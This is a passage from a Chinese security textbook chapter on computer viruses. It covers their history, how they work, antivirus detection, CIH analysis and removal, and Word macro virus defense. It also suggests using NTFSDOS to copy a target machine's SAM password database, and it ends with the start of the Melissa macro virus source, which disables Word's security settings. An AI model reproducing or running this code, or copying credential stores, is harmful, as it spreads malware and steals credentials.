另外,可以试图使用NTFSDOS工具,该工具是一张可以启动的DOS磁盘。以这张启动盘启动目标机器后,就能读该机器上的NTFS分区内的所有内容。比如拷贝系统文件,包括SAM数据库。

还有一个叫Systems Internals的工具,除了有上述功能外,允许对NTFS分区进行写操作。

net命令注解
通过上面的介绍,可以发现net命令是相当强大的。下面对这一命令的使用做简单的注解。具体使用时,请参见相应的帮助。

Net Accounts: 这个命令显示当前的口令的一些设置,登录的限定和域的信息。包括更新用户帐号数据库和修改口令及登录需求的选项。
Net Computer: 在域数据库里增加或删除计算机。Net Config Server 或 Net Config Workstation: 显示服务器服务的配置信息。如果没有指定Server或者Workstation,这个命令显示可以配置的服务的列表。

Net Continue: 重新激活被NET PAUSE命令挂起的NT服务。

Net file: 这个命令列出一个服务器上打开的文件。有一个关闭共享文件和解除文件锁定的选项。

Net Group: 显示组的名字的相关信息,并有一个选项,可以在服务器里增加或修改global组。

Net Help: 得到这些命令的帮助Net Helpmsg message#: 得到一个指定的net error或功能消息(function message)的帮助。Net Localgroup:列出服务器上的本地组(local group),可以修改这些组。Net Name: 显示发往的计算机的名字和用户。Net Pause: 将某个NT服务挂起。

Net Print: 显示打印任务和共享队列。

Net Send: 给其他用户,计算机发送消息或在网络上的消息名字。

Net Session: 显示当前会话的信息。还包含一个终止当前会话的命令。

Net Share: 列出一个计算机上的所有共享资源的信息。这个命令也可以用来创建共享资源。

Net Statistics Server 或 Workstation: 显示统计记录。

Net Stop: 停止 NT 的服务,取消任何正在使用的连接。停止一个服务有可能会停止其他服务。

Net Time: 显示或设置一个计算机或域的时间。

Net Use: 列出连接上的计算机,有连接或断开共享资源的选项。

Net User: 列出计算机的用户帐号,并有创建或修改帐号的选项。

Net View: 列出一台计算机上的所有共享资源。包括netware服务。

第十三章 计算机病毒及实例
第一节 计算机病毒历史
  早在1949年,电脑的先驱者冯•诺伊曼在他的一篇文章《复杂自动装置的理论及组织的行为》中,即提出一种会自我繁殖的程序的可能----现在称为病毒,但没引起注意。
十年之后,在贝尔实验室中,这个概念在一个电子游戏中形成了。这个电子游戏叫“Core War”。

Core War
  这个游戏由三个年轻的工程师完成,道格拉斯•麦耀莱、维特•维索斯基和罗伯特•莫里斯(后来那个编写蠕虫病毒的莫里斯的父亲)。
  Core War的玩如下:双方各编写一套程序,输入同一部电脑中。这两套程序在计算机内存中运行,它们相互追杀。有时它们回放下一些关卡,有时会停下来修复被对方破坏的指令。当它们被困时,可以自己复制自己,逃离险境。因为它们都在电脑的内存(以前是用core做内存的)游走,因此叫Core War。
  这个游戏的特点,在於双方的程序进入电脑之后,玩游戏的人只能看着屏幕上显示的战况,而不能做任何更改,一直到某一方的程式被另一方的程式完全 [吃掉] 为止。
  这个游戏分成好几种,麦耀莱所写的叫 [达尔文],包含了 [物竞天择 ,适者生存] 的意思 。 它的游戏规则跟以上所描述的最接近。游戏双方用汇编语言(Assembly Language)各写一套程式 ,叫有机体(organism) 。这两个有机体在电脑里争斗不休,直到一方把另一方杀掉而取代之 ,便算分出胜负。
  另外有个叫爬行者 (Creeper)的程序,每一次把它读出时 ,它便自己复制一个副本。此外,它也会从一部电脑[爬]到另一部和它相连的电脑。很快地电脑中原有资料便被这些爬行者挤掉了。爬行者的唯一生存目的是繁殖。
  为了对付[爬行者],有人便写出了[收割者](Reaper)。它的唯一生存目的便是找到爬行者,把它们毁灭掉。当所有爬行者都被收割掉之後,收割者便执行程式中最後一项指令毁灭自己,从电脑中消失。
  [侏儒](Dwarf)并没有达尔文等程式聪明。却可是个极端危险人物。它在内存中迈进,每到第五个[地址](address)便把那里所储存的东西变为零,这会使得原来的程序停止。
  最奇特的就是一个叫[印普](Imp)的战争程式了 ,它只有一行指令:
MOV 01
  这条指令把身处的地址中所载的[0]写(移)到下一个地址中,当印普展开行动之后,电脑中原有的每一行指令都被改为[MOV 01]。
  [双子星](Germini)也相当有趣。它的作用只有一个:把自己复制,送到下一百个地址后,便抛弃掉[正本]。
  从双子星衍生出一系列的程序。[牺牲者](Juggeraut)把自己复制後送到下十个地址之后,而[大雪人](Bigfoot)则把正本和复制品之间的地址定为某一个大质数。

电脑病毒的出现
  一九八三年,科恩•汤普逊(Ken Thompson)是当年一项杰出电脑奖得主。在颁奖典礼上,他作了一个演讲,不但公开地证实了电脑病毒的存在,而且还告诉所有听众怎样去写自己的病毒程序。
  1983 年 11 月 3 日,弗雷德•科恩 (Fred Cohen) 博士研制出一种在运行过程中可以复制自身的破坏性程序,伦•艾德勒曼 (Len Adleman) 将它命名为计算机病毒 (computer viruses),并在每周一次的计算机安全讨论会上正式提出,8 小时后专家们在 VAX11/750 计算机系统上运行,第一个病毒实验成功,一周后又获准进行 5 个实验的演示,从而在实验上验证了计算机病毒的存在。
  一九八四年, [科学美国人]月刊(Scientific American)的专栏作家杜特尼(A. K. Dewdney)在五月号写了第一篇讨论[Core War]的文章,并且只要寄上两块美金,任何读者都可以收到有关程序的纲领,在自己家中的电脑中开辟战场。

[病毒]一词的正式出现
  在一九八五年三月份的[科学美国人]里 ,杜特尼再次讨论[Core War]和病毒。在文章的开头他便说:“当去年五月有关[Core War]的文章印出来时 ,我并没有想过我所谈论的是那麽严重的题目”文中还第一次提到[病毒]这个名称。他提到说:“意大利的罗勃吐•歇鲁帝(Roberto Cerruti)和马高•莫鲁顾帝(Marco Morocutti)发明了一种破坏软件的方法。他们想用病毒,而不是蠕虫,来使得苹果二号电脑受感染。
  歇鲁弟写了一封信给杜特尼,信内说:“马高想写一个像[病毒]一样的程式,可以从一部苹 果电脑传染到另一部苹果电脑,使其受到感染。可是我们没法这样做,直到我想到这个病毒要先使软盘受到感染,而电脑只是媒介。这样,病毒就可以从张软盘传染到另一软盘了。”
  1986 年初,在巴基斯坦的拉合尔 (Lahore),巴锡特 (Basit) 和阿姆杰德 (Amjad) 两兄弟经营着一家 IBM-PC 机及其兼容机的小商店。他们编写了Pakistan 病毒,即 Brain。在一年内流传到了世界各地。
  1988 年 3 月 2 日,一种苹果机的病毒发作,这天受感染的苹果机停止工作,只显示“向所有苹果电脑的使用者宣布和平的信息”。以庆祝苹果机生日。
  1988 年 11 月 2 日,美国六千多台计算机被病毒感染,造成 Internet 不能正常运行。这是一次非常典型的计算机病毒入侵计算机网络的事件,迫使美国政府立即作出反应,国防部成立了计算机应急行动小组。
  这次事件中遭受攻击的包括 5 个计算机中心和 12 个地区结点,连接着政府、大学、研究所和拥有政府合同的 250,000 台计算机。这次病毒事件,计算机系统直接经济损失达 9600 万美元。
  这个病毒程序设计者是罗伯特•莫里斯 (Robert T.Morris),当年 23 岁,是在康乃尔 (Cornell) 大学攻读学位的研究生。
  罗伯特•莫里斯设计的病毒程序利用了系统存在的弱点。由于罗伯特•莫里斯成了入侵 ARPANET 网的最大的电子入侵者,而获准参加康乃尔大学的毕业设计,并获得哈佛大学 Aiken 中心超级用户的特权。他也因此被判 3 年缓刑,罚款 1 万美元,他还被命令进行 400 小时的新区服务。
  1988 年底,在我国的国家统计部门发现小球病毒。
第二节 计算机病毒原理
计算机病毒定义
  1994年2月18日,我国正式颁布实施了《中华人民共和国计算机信息系统安全保护条例》,在《条例》第二十八条中明确指出:“计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。”此定义具有法律性、权威性。(此节内容摘自《计算机安全管理与实用技术》一书)

计算机病毒原理
  病毒的工作原理是什么呢?病毒是一个程序,一段人为编制的计算机程序代码。它通过想办法在正常程序运行之前运行,并处于特权级状态。这段程序代码一旦进入计算机并得以执行,对计算机的某些资源进行监视。它会搜寻其他符合其传染条件的程序或存储介质,确定目标后再将自身代码插入其中,达到自我繁殖的目的。只要一台计算机染毒,如不及时处理,那么病毒会在这台机子上迅速扩散,其中的大量文件(一般是可执行文件)会被感染。而被感染的文件又成了新的传染源,再与其他机器进行数据交换或通过网络接触,病毒会继续进行传染。
  一般正常的程序是由用户调用,再由系统分配资源,完成用户交给的任务。其目的对用户是可见的、透明的。而病毒具有正常程序的一切特性,它隐藏在正常程序中,当用户调用正常程序时窃取到系统的控制权,先于正常程序执行,病毒的动作、目的对用户时未知的,是未经用户允许的。
  病毒一般是具有很高编程技巧、短小精悍的程序。通常附在正常程序中或磁盘较隐蔽的地方,也有个别的以隐含文件形式出现。目的是不让用户发现它的存在。如果不经过代码分析,病毒程序与正常程序是不容易区别开来的。一般在没有防护措施的情况下,计算机病毒程序取得系统控制权后,可以在很短的时间里传染大量程序。而且受到传染后,计算机系统通常仍能正常运行,使用户不会感到任何异常。试想,如果病毒在传染到计算机上之后,机器马上无法正常运行,那么它本身便无法继续进行传染了。正是由于隐蔽性,计算机病毒得以在用户没有察觉的情况下扩散到上百万台计算机中。
  大部分的病毒的代码之所以设计得非常短小,也是为了隐藏。病毒一般只有几百或1k字节,而PC机对DOS文件的存取速度可达每秒几百KB以上,所以病毒转瞬之间便可将这短短的几百字节附着到正常程序之中,使人非常不易被察觉。
  大部分的病毒感染系统之后一般不会马上发作,它可长期隐藏在系统中,只有在满足其特定条件时才启动其表现(破坏)模块。只有这样它才可进行广泛地传播。如“PETER-2"在每年2月27日会提三个问题,答错后会将硬盘加密。著名的“黑色星期五”在逢13号的星期五发作。国内的“上海一号”会在每年三、六、九月的13日发作。当然,最令人难忘的便是26日发作的CIH。这些病毒在平时会隐藏得很好,只有在发作日才会露出本来面目。
  任何病毒只要侵入系统,都会对系统及应用程序产生程度不同的影响。轻者会降低计算机工作效率,占用系统资源,重者可导致系统崩溃。由此特性可将病毒分为良性病毒与恶性病毒。良性病度可能只显示些画面或出点音乐、无聊的语句,或者根本没有任何破坏动作,但会占用系统资源。这类病毒较多,如:GENP、小球、W-BOOT等。恶性病毒则有明确得目的,或破坏数据、删除文件或加密磁盘、格式化磁盘,有的对数据造成不可挽回的破坏。这也反映出病毒编制者的险恶用心。

病毒分类
  按传染方式分为:引导型病毒、文件型病毒和混合型病毒。
  文件型病毒一般只传染磁盘上的可执行文件(COM,EXE)。在用户调用染毒的可执行文件时,病毒首先被运行,然后病毒驻留内存伺机传染其他文件或直接传染其他文件。其特点是附着于正常程序文件,成为程序文件的一个外壳或部件。这是较为常见的传染方式。
  混合型病毒兼有以上两种病毒的特点,既染引导区又染文件,因此扩大了这种病毒的传染途径
  随着计算机技术的发展,新的病毒也不断出现。我们在本章的最后一节将介绍宏病毒的机理和一个实例。

电脑病毒的新趋势
  传统型病毒的一个特点, 就是一定有一个「寄主」程序,病毒就窝藏的这些程序里。最常见的就是一些可执行档, 像是副档名为.EXE及.COM的档案。但是由於微软的WORD愈来愈流行,且WORD所提供的宏命令功能又很强, 使用WORD宏命令写出来的病毒也愈来愈多于是就出现了以.DOC文件为“寄主”的也会宏病毒。
  另外,不需要寄主的病毒也出现了,其实,它们寄生在「Internet」上。
  如果Internet上的网页只是单纯用HTML写成的话, 那麽要传播病毒的机会可说是非常小了。但是呢, 为了让网页看起来更生动, 更漂亮, 许多语言也纷纷出笼, 其中最有名的就属JAVA和ActiveX了。从而,它们就成为新一代病毒的温床。JAVA和ActiveX的执行方式,是把程式码写在网页上, 当你连上这个网站时, 浏览器就把这些程式码读下来, 然後用使用者自己系统里的资源去执行它。这样,使用者就会在神不知鬼不觉的状态下,执行了一些来路不明的程序。
  对于传统病毒来讲,病毒是寄生在「可执行的」程序代码中的。新的病毒的机理告诉我们,病毒本身是能执行的一段代码,但它们可以寄生在非系统可执行文档里。只是这些文档被一些应用软件所执行。
  在德国汉堡一个名为Chaos Computer 的俱乐部, 有一个俱乐部成员完成一只新型态的病毒-----这只病毒可以找出Internet用户的私人银行资料, 还可以进入银行系统将资金转出, 不需要个人身份证明, 也不需要转帐密码。
  当使用者在浏览全球网站时, 这个病毒会自动经由Active X 控制载入。Active X 控制可搜寻使用者计算机的硬盘, 来寻找Intuit Quicken这个已有全球超过九百万使用者的知名个人理财软体。一旦发现Quicken的档案, 这个病毒就会下转帐指令。
计算机病毒防范
电脑病毒检测技术
  一台计算机染上病毒之后,会有许多明显或不明显的特征。例如是文件的长度和日期忽然改变,系统执行速度下降或出现一些奇怪的信息或无故死机,或更为严重的硬盘已经被格式化。
  我们常用的防毒软件是如何去发现它们的呢?他们就是利用所谓的病毒码(Virus Pattern)。病毒码其实可以想像成是犯人的指纹, 当防毒软件公司收集到一只新的病毒时, 他们就会从这个病毒程式中截取一小段独一无二而且足以表示这只病毒的二进制程序码 (Binary Code) , 来当做扫毒程序辨认此病毒的依据, 而这段独一无二的二进制程序码就是所谓的病毒码。 在电脑中所有可以执行的程序(如 *.EXE,*.COM) 几乎都是由二进制程序码所组成, 也就是电脑的最基本语言-- 机器码。就连宏病毒在内, 虽然它只是包含在Word文件中的宏命令集, 可是它也是以二进制代码的方式存在於Word文件中。
  反病毒软件常用下列技术来查找病毒的:
1.病毒码扫描法
  将新发现的病毒加以分析後, 根据其特徵, 编成病毒码, 加入资料库中。以後每当执行扫毒程序时, 便能立刻扫描目标文件, 并作病毒码比对, 即能侦测到是否有病毒。病毒码扫描法又快又有效率( 例如趋势科技的PC-cillin及Server Protect, 利用深层扫描技术, 在即时扫瞄各个或大或小的档案时,平均只需1/20秒的时间), 大多数防毒软件均采用这种方式, 但其缺点是无法侦测到未知的新病毒及以变种病毒。
2.加总比对法 (Check-sum)
  根据每个程序的文件名称、大小、时间、日期及内容, 加总为一个检查码, 再将检查码附於程序的後面, 或是将所有检查码放在同一个资料库中, 再利用此Check-sum系统, 追踪并记录每个程序的检查码是否遭更改, 以判断是否中毒。这种技术可侦测到各式的病毒, 但最大的缺点就是误判断高, 且无法确认是哪种病毒感染的。
3.人工智能陷阱
  人工智能陷阱是一种监测电脑行为的常驻式扫描技术。它将所有病毒所产生的行为归纳起来, 一旦发现内存的程式有任何不当的行为, 系统就会有所警觉, 并告知使用。这种技术的优点是执行速度快、手续简便, 且可以侦测到各式病毒;其缺点就是程序设计难, 且不容易考虑周全。不过在这千变万化的病毒世界中, 人工智能陷阱扫描技术是一个至少具有保全功能的新观点。
4.软件模拟扫描法
  软件模拟扫描技术专门用来对付千面人病毒(Polymorphic /MutationVirus)。千面人病毒在每次传染时, 都以不同的随机乱数加密於每个中毒的档案中, 传统病毒码比对的方式根本就无法找到这种病毒。软件模拟技术则是成功地模拟CPU执行, 在其设计的DOS虚拟机器(Virtual Machine)下假执行病毒的变体引擎解码程序, 安全并确实地将多型体病毒解开,使其显露原本的面目, 再加以扫描。
5.VICE(Virus Instruction Code Emulation) - 先知扫描法
  VICE先知扫描技术是继软件模拟後的一大技术上突破。既然软件模拟可以建立一个保护模式下的DOS虚拟机器, 模拟CPU动作并假执行程序以解开变体引擎病毒, 那麽应用类似的技术也可以用来分析一般程序检查可疑的病毒码。因此VICE将工程师用来判断程新是否有病毒码存在的方法, 分析归纳成专家系统知识库, 再利用软体工程的模拟技术(Software Emulation)假执行新的病毒, 则可分析出新病毒码对付以後的病毒。
6.即时I/O扫描(Realtime I/O Scan)
  Realtime I/O Scan的目的在於即时地对数据的输入/输出动作做病毒码比对的动作, 希望能够在病毒尚未被执行之前, 就能够防堵下来。理论上, 这样的即时扫描技术会影响到数据的输入输出速度。但是使用实时扫描技术,文件传送进来之后,就等于扫过一次毒了。从整体上来讲,是没有什么差别的。
第三节 计算机病毒实例
CIH病毒检测
CIH病毒属文件型病毒,其别名有Win95.CIH、Spacefiller、Win32.CIH、PE_CIH,它主要感染Windows95/98下的可执行文件(PE格式,Portable Executable format),目前的版本不感染DOS以及WIN 3.X(NE格式,Windows and OS/2 Windows 3.1 execution File format)下的可执行文件,并且在Win NT中无效。其发展过程经历了v1.0,v1.1、v1.2、v1.3、v1.4总共5个版本,目前最流行的是v1.2版本。

CIH病毒v1.0版本:
最初的V1.0版本仅仅只有656字节,其雏形显得比较简单,与普通类型的病毒在结构上并无多大的改善,其最大的“卖点”是在于其是当时为数不多的、可感染Microsoft Windows PE类可执行文件的病毒之一,被其感染的程序文件长度增加,此版本的CIH不具有破坏性。

CIH病毒v1.1版本:
  发展到v1.1版本时,病毒长度为796字节,此版本的CIH病毒具有可判断Win NT软件的功能,一旦判断用户运行的是Win NT,则不发生作用,进行自我隐藏,以避免产生错误提示信息,同时使用了更加优化的代码,以缩减其长度。此版本的CIH另外一个优秀点在于其可以利用WIN PE类可执行文件中的“空隙”,将自身根据需要分裂成几个部分后,分别插入到PE类可执行文件中,这样做的优点是在感染大部分WINPE类文件时,不会导致文件长度增加。

CIH病毒v1.2版本:
  发展到v1.2版本时,除了改正了一些v1.1版本的缺陷之外,同时增加了破坏用户硬盘以及用户主机BIOS程序的代码,这一改进,使其步入恶性病毒的行列,此版本的CIH病毒体长度为1003字节。

CIH病毒v1.3版本:
  原先v1.2版本的CIH病毒最大的缺陷在于当其感染ZIP自解压包文件(ZIP self-extractors file)时,将导致此ZIP压缩包在自解压时出现:
  WinZip Self-Extractor header corrupt.
  Possible cause: disk or file transfer error.
的错误警告信息。v1.3版本的CIH病毒显得比较仓促,其改进点便是针对以上缺陷的,它的改进方法是:一旦判断开启的文件是WinZip类的自解压程序,则不进行感染。同时,此版本的CIH病毒修改了发作时间。v1.3版本的CIH病毒长度为1010字节。

CIH病毒v1.4版本:
  此版本的CIH病毒改进上上几个版本中的缺陷,不感染ZIP自解压包文件,同时修改了发作日期及病毒中的版权信息(版本信息被更改为:“CIH v1.4 TATUNG”,在以前版本中的相关信息为“CIH v1.x TTIT”),此版本的长度为1019字节。

CIH属恶性病毒,当其发作条件成熟时,将破坏硬盘数据,同时有可能破坏BIOS程序。其发作特征是:
  1、以2048个扇区为单位,从硬盘主引导区开始依次往硬盘中写入垃圾数据,直到硬盘数据被全部破坏为止。最坏的情况下硬盘所有数据(含全部逻辑盘数据)均被破坏。

  2、某些主板上的Flash Rom中的BIOS信息将被清除。

感染CIH病毒的特征:
  由于流行的CIH病毒版本中,其标识版本号的信息使用的是明文,所以可以通过搜索可执行文件中的字符串来识别是否感染了CIH病毒,搜索的特征串为“CIH v”或者是“CIH v1.”如果你想搜索更完全的特征字符串,可尝试“CIH v1.2 TTIT”、“CIH v1.3 TTIT”以及“CIH v1.4 TATUNG”,不要直接搜索“CIH”特征串,因为此特征串在很多的正常程序中也存在,例如程序中存在如下代码行:
  inc bx
  dec cx
  dec ax
  则它们的特征码正好是“CIH(0x43;0x49;0x48)”,容易产生误判。

  另外一个判断方法是在Windows PE文件中搜索IMAGE_NT_SIGNATURE字段,也就是0x00004550,其代表的识别字符为“PE00”,然后查看其前一个字节是否为0x00,如果是,则表示程序未受感染,如果为其他数值,则表示很可能已经感染了CIH病毒。
  还有一个判断方法是先搜索IMAGE_NT_SIGNATURE字段----“PE00”,接着搜索其偏移0x28位置处的值是否为55 44 24 F8 33 DB 64,如果是,则表示此程序已被感染。
  适合高级用户使用的一个方法是直接搜索特征代码,并将其修改掉,方法是:先处理掉两个转跳点,即搜索:5E CC 56 8B F0 特征串以及5E CC FB 33 DB特征串,将这两个特征串中的CC改为90(nop),接着搜索 CD 20 53 00 01 00 83 C4 20 与 CD 20 67 00 40 00 特征字串,将其全部修改为90,即可(以上数值全部为16进制)。
  另外一种方法是将原先的PE程序的正确入口点找回来,填入当前入口点即可(此处以一个被感染的CALC.EXE程序为例),具体方法为:先搜索IMAGE_NT_SIGNATURE字段----“PE00”,接着将距此点偏移0x28处的4个字节值,例如“A0 02 00 00”(0x000002A0),再由此偏移所指的位置(即0x02A0)找到数据“55 44 24 F8 33 DB 64”,并由0X02A0加上0X005E得到0x02FE偏移,此偏移处的数据例如为“CB 21 40 00”(OXOO4021CB),将此值减去OX40000,将得数----“CB 21 00 00” (OXOO0021CB)值放回到距“PE00”点偏移0x28的位置即可(此处为Windows PE格式程序的入口点,术语称为Program Entry Point)。最后将“55 44 24 F8 33 DB 64”全部填成“00”,使得我们容易判断病毒是否已经被杀除过。

CIH机理分析
  其原理主要是使用Windows的VxD(虚拟设备驱动程序)编程方法。使用这一方法的目的是获取高的CPU权限,CIH病毒使用的方法是首先使用SIDT取得IDT base address(中断描述符表基地址),然后把IDT的INT 3 的入口地址改为指向CIH自己的INT3程序入口部分,再利用自己产生一个INT 3指令运行至此CIH自身的INT 3入口程序出,这样CIH病毒就可以获得最高级别的权限(即权限0),接着病毒将检查DR0寄存器的值是否为0,用以判断先前是否有CIH病毒已经驻留。如DR0的值不为0,则表示CIH病毒程式已驻留,则此CIH副本将恢复原先的INT 3入口,然后正常退出(这一特点也可以被我们利用来欺骗CIH程序,以防止它驻留在内存中,但是应当防止其可能的后继派生版本)。如果判断DR0值为0,则CIH病毒将尝试进行驻留,其首先将当前EBX寄存器的值赋给DR0寄存器,以生成驻留标记,然后调用INT 20中断,使用VxD call Page Allocate系统调用,要求分配Windows系统内存(system memory),Windows系统内存地址范围为C0000000h~FFFFFFFFh,它是用来存放所有的虚拟驱动程序的内存区域,如果程序想长期驻留在内存中,则必须申请到此区段内的内存,即申请到影射地址空间在C0000000h以上的 内存。
  如果内存申请成功,则接着将从被感染文件中将原先分成多段的病毒代码收集起来,并进行组合后放到申请到的内存空间中,完成组合、放置过程后,CIH病毒将再次调用INT 3中断进入CIH病毒体的INT 3入口程序,接着调用INT20来完成调用一个IFSMgr_InstallFileSystemApiHook的子程序,用来在文件系统处理函数中挂接钩子,以截取文件调用的操作,接着修改IFSMgr_InstallFileSystemApiHook的入口,这样就完成了挂接钩子的工作,同时Windows默认的IFSMgr_Ring0_FileIO(InstallableFileSystemManager,IFSMgr)。服务程序的入口地址将被保留,以便于CIH病毒调用,这样,一旦出现要求开启文件的调用,则CIH将在第一时间截获此文件,并判断此文件是否为PE格式的可执行文件,如果是,则感染,如果不是,则放过去,将调用转接给正常的Windows IFSMgr_IO服务程序。CIH不会重复多次地感染PE格式文件,同时可执行文件的只读属性是否有效,不影响感染过程,感染文件后,文件的日期与时间信息将保持不变。对于绝大多数的PE程序,其被感染后,程序的长度也将保持不变,CIH将会把自身分成多段,插入到程序的空域中。完成驻留工作后的CIH病毒将把原先的IDT中断表中的INT 3入口恢复成原样。

Flash ROM的破坏原理
  PC机上常用来保存PC BIOS程序的Flash ROM包含两个电压接口,其中+12V一般用Boot Block的改写,Boot Block为一特殊的区块,它主要用于保存一个最小的BIOS,用以启动最基本的系统之用,当Flash ROM中的其它区块内的数据被破坏时,只要Boot Block内的程序还处于可用状态,则可以利用这一基本的PC BIOS程序来启动一个最小化的系统,一般情况下,起码应当支持软盘的读写以及键盘的输入,这样我们就有机会使用软盘来重新构建整个Flash ROM中的数据。一般的主板上均包含有一个专门的跳线,用来确定是否给此Flash ROM芯片提供+12V电压,只有我们需要修改Flash ROM中的Boot Block区域内的数据时,才需要短接此跳线,以提供+12V电压。
  另外一路电压为+5V电压,它可以用于维持芯片工作,同时为更新Flasm ROM中非Boot Block区域提供写入电压。
  主板上的+12V跳线是为了防止更新Flash ROM中的Boot Block区域而设置的,如果想升级BIOS,同时此升级程序只需要更新Boot Block区域以外的BIOS程序,则主板上的跳线根本没必要去跳,因为更新Boot Block区域以外的数据并不需要+12V电压,这样,即使升级失败,我们也还存在着一个Boot Block中的最基本BIOS可以使用,这样就可以使用软盘来恢复原先的BIOS数据(一般在升级的时候后,都提示用户保存当前的BIOS数据)。
  某些芯片在+5V的电压下就可以进行改写,这些单5V的芯片便是造成BIOS数据被彻底破坏的原应。

Word宏病毒透视
  Word宏病毒,是近年来被人们谈论得最多的一种电脑病毒。由于一些杀毒软件广告对此病毒的着力渲染,使得一些普通的用户对该病毒谈之色变。其实,在了解了Word宏病毒的编制、发作过程之后,即使是普通的电脑用户,不借助任何杀毒软件,也可以较好地对其进行防冶。
  Word宏病毒,是用一种专门的Basic语言即Word Basic所编写的程序。与其它计算机病毒一样,它能对用户系统中的可执行文件和数据文本类文件造成破坏。
  根据触发条件,Word宏病毒至少可分为两类:一类是公(共)用宏病毒。这类宏病毒对所有的Word文档有效,其触发条件是在启动或调用Word文档时,自动执行。

这类宏病毒有两个显著的特点:
  一是只能用“Autoxxxx"来命名,即宏名称是用“Auto"开头,xxxx表示的是具体的一种宏文件名。如AutoOpen、AutoClose、AutoCopy等;
  二是它们一定要附加在Word共用模板上才有“公用”作用。通常在用户不规定和另行编制其它的公用模板时,它们应是附加在Normal.dot模板上,或者首先要能将自己写进这样的模板才行。
  另一类称为“私用宏病毒”。私用宏病毒与公用宏病毒的主要区别是,前者一般放在用户自定义的Word模板中,仅与使用这种模板的Word文档有关,即只有使用这个特定模板的文档,该宏病毒才有效,而对使用其它模板的文档,私用宏病毒一般不起作用。
  从编制病毒者的目的看,一般Word宏病毒都被编制成公用宏并自动触发的程序形式,以达到不以用户意志为转移启动和传播的目的。虽然私用宏的Word病毒很少,但现在因为互联网使用的频繁,可能网络中传输的一些常用格式的文档会带有私用宏病毒。如随着“Word 97"的使用,将其放在“HTML模板”中进行传播。
  Word中提供由用户编制“宏”这一功能的目的是为了让用户能够用简单的编程方法,来简化一些经常性的操作。这很像DOS的批处理文件将多个执行命令放在一起来一次执行一样。所以,Word宏的编制技术,与其它的编程技术相比,要求是很低的,也很容易编制。Word甚至还提供了不用编程,仅依靠录制用户实际操作方法就可以生成宏的功能,这就使那些对计算机编程语言没有多少知识但却对病毒“一往情深”者,也可以加入到病毒制造者的行列中。
  虽然Word的宏功能为那些心怀叵测的人提供了一种简单高效的制造新病毒的手段,但是防治这类病毒绝非像某些广告或文章所说的那样难,尤其是与那些用复杂的计算机编程语言编制的病毒相比,宏病毒的防治要容易得多!下面我们谈谈对该病毒的防冶。

  1.当怀疑系统带有宏病毒时,首先应查看是否存在“可疑”的宏。所谓可疑的宏,是指用户自己没有编制过,也不是Word默认提供而新出现的宏。尤其对以“Auto"开头的宏,应高度警惕。如果有这类宏,很可能就是宏病毒,最好将其删去。 查看宏的方法是在打开某种模板的Word文档后,用“工具”菜单中的“宏”选项,将当前模板使用的所有的宏调出进行查看。平时在没有宏病毒的时候,不妨对系统已有的和自己编制的宏做一个文件清单,以便随时对照!

  2.用户在新安装了Word后,可打开一个新文档,将Word的工作环境按你的使用习惯进行设置,并将你需要使用的宏一次编制好,做完后,保存新文档,使Normal.dot模板改变。新的Normal.dot现在含有你需要的使用设置并绝对没有宏病毒,可将这份干净的Normal.dot备份下来,这样你的手中就有了一份绝对可靠的Normal.dot模板。在遇到有宏病毒感染或怀疑感染了宏病毒的时候,可随时用备份的Normal模块来覆盖当前的Normal.dot模板。Normal.dot在用户没有另外指定存放模板的路径时,应该在Word(或Office)的Templates目录下。

  3.如果用户自己编制有Autoxxxx这类宏,建议将编制完成的结果记录下来,即将其中的代码内容打印或抄录下来,放在手边备查。这样,当你的Word感染了宏病毒或怀疑有宏病毒的时候,可以打开该宏,与记录的内容进行对照。如果其中有一处或多处被改变或者增加了一些原来没有的语句,则不论你是否能看懂这些代码,都应将这些语句统统删除,仅保留原来编制的内容。

  4.如果你没有编制过任何以“Auto"开头的Word宏,现在系统运行不正常而又完全能排除是由其它的硬件故障或系统软件配置问题引起,那么,在打开“工具”菜单的“宏”选项后,如果看到有这类宏,最好执行删除自动宏的操作,因为即便错删了,也不会对Word文档内容产生任何影响,仅仅是少了相应的“宏功能”。如果需要,你还可以重新编制。

  5.如果要使用外来的Word文档且不能判断这些“外来客”是否带宏病毒,有两个做法是有效的:如果必须保留原来的文档编排格式,那么用Word。打开文档后,就需要用上述的几种方法进行检查,只有在确信没有宏病毒后,你才能执行保存该文档的操作;另一个方法是,如果没有保留原来文档的排版格式的必要,可先用Windows提供的书写器(对使用Windows 3.x而言)或写字板(对使用Windows 95而言)来打开外来的Word文档,将其先转换成书写器或写字板格式的文件并保存后,再用Word调用。因为书写器或写字板是不调用也不记录和保存任何Word宏的,文档经此转换,所有附带其上的宏都将丢失,当然,这样做将使该Word文档中所有的排版格式也一并丢失。

  6.在调用外来的Word文档时,除了用书写器或写字板对Word宏进行“过滤”外,还有一个简单的方法,就是在调用Word文档时先禁止所有的以Auto开头的宏的执行。这样能保证用户在安全启动Word文档后,再进行必要的病毒检查。为此,对于使用Word 97以前版本的用户,需要自行编制一个名为AutoExec的宏。这个宏在执行时,将关闭其它所有自动执行的Word宏。将AutoExec宏保存到一个另外命名的模板中,比如AV.dot,当要使用外来的Word文档时,将含有AutoExec的AV 模板改名为Normal.dot模板(应先备份原来的Normal.dot模板);如果不使用外来文档,可以将原来备份的Normal.dot模板再改名拷贝回来。AutoExec宏的参考代码如下:
Sub MAIN
DisableAutoMacros
End Sub

  对于使用Word 97版本的用户,Word 97已经提供此项功能,将其激活或打开即可。方法是,单击“工具”菜单→“选项” →“常规”,用鼠标勾选“宏病毒防护”选项,这样,当前打开的文档所使用的模板就有了防止“自动宏”执行的功能,当以后使用这个模板的文档时,如打开的文件带有“自动宏”,Word 97将首先告诉用户打开的文档带有自动宏,并询问用户是否执行这些宏。不用说,应该选择 "否”,待进入并打开文档后,再对文档进行“宏”检查。

Melissa病毒源代码

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER/Software/Microsoft/Office/9.0/Word/Security", "Level") < > "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER/Software/Microsoft/Office/9.0/Word/Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER/Software/Microsoft/Office/", "Melissa?") < > "... by Kwyjibo" Then
